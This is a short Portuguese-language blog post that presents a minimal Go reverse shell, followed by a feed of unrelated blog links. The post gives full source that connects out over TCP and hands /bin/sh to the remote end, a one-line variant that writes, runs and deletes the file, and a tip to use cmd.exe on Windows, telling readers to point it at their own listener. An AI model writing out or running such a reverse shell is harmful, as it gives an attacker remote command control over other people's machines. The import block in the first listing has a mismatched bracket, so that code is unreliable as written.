umgeher's changelog

golang: reverse shell

Um reverse shell em Golang super simples:

package main

import (
  "net"
  "os/exec"
}

func main() {
	c, _ := net.Dial("tcp","127.0.0.1:8222")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = c
	cmd.Stdout = c
	cmd.Stderr = c
	cmd.Run()
}

Claro, troque o IP e a porta para seu dispatcher.

Voce ainda pode minimizar e ter o reverse shell em “uma linha”.

echo 'package main;import"net";import"os/exec";func main(){c,_:=net.Dial("tcp","127.0.0.1:8222");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > rs.go && go run rs.go && rm rs.go

Eu nao testei, mas acredito que funcione no windows, troque o /bin/sh para cmd.exe e teste.

Articles from blogs I follow around the net

Game of Trees 0.79 released.

Version 0.79 of Game of Trees has been released (and the port updated): * got 0.79; 2022-11-08 - repair build on OpenBSD/sparc64 (patch by Ted Bullock) - fix crash in gotd if client gets disconnected on error (reported by Mikhail) - fix crash in got-send-pack whe…

via OpenBSD Journal 2022-11-10 02:19

Xess 2: CSS variable edition

Image generated by Waifu Diffusion v1.3 (float16) -- 1girl, fox ears, blue hair, blue eyes, paintbrush, canvas, easel, chibi, hoodie, smile, solo, very colorful, heart, pupils As a hacker with too many side projects, I like to have a certain look to my webs…

via Xe's Blog 2022-11-06 00:00

Mirroring sources used in nixpkgs (software preservation)

# Introduction This may appear like a very niche use case, in my quest of software conservancy for nixpkgs I didn't encounter many people understanding why I was doing this. I would like to present you a project I made to easily download all the sou…

via Solene'% 2022-11-03 00:00

Generated by openring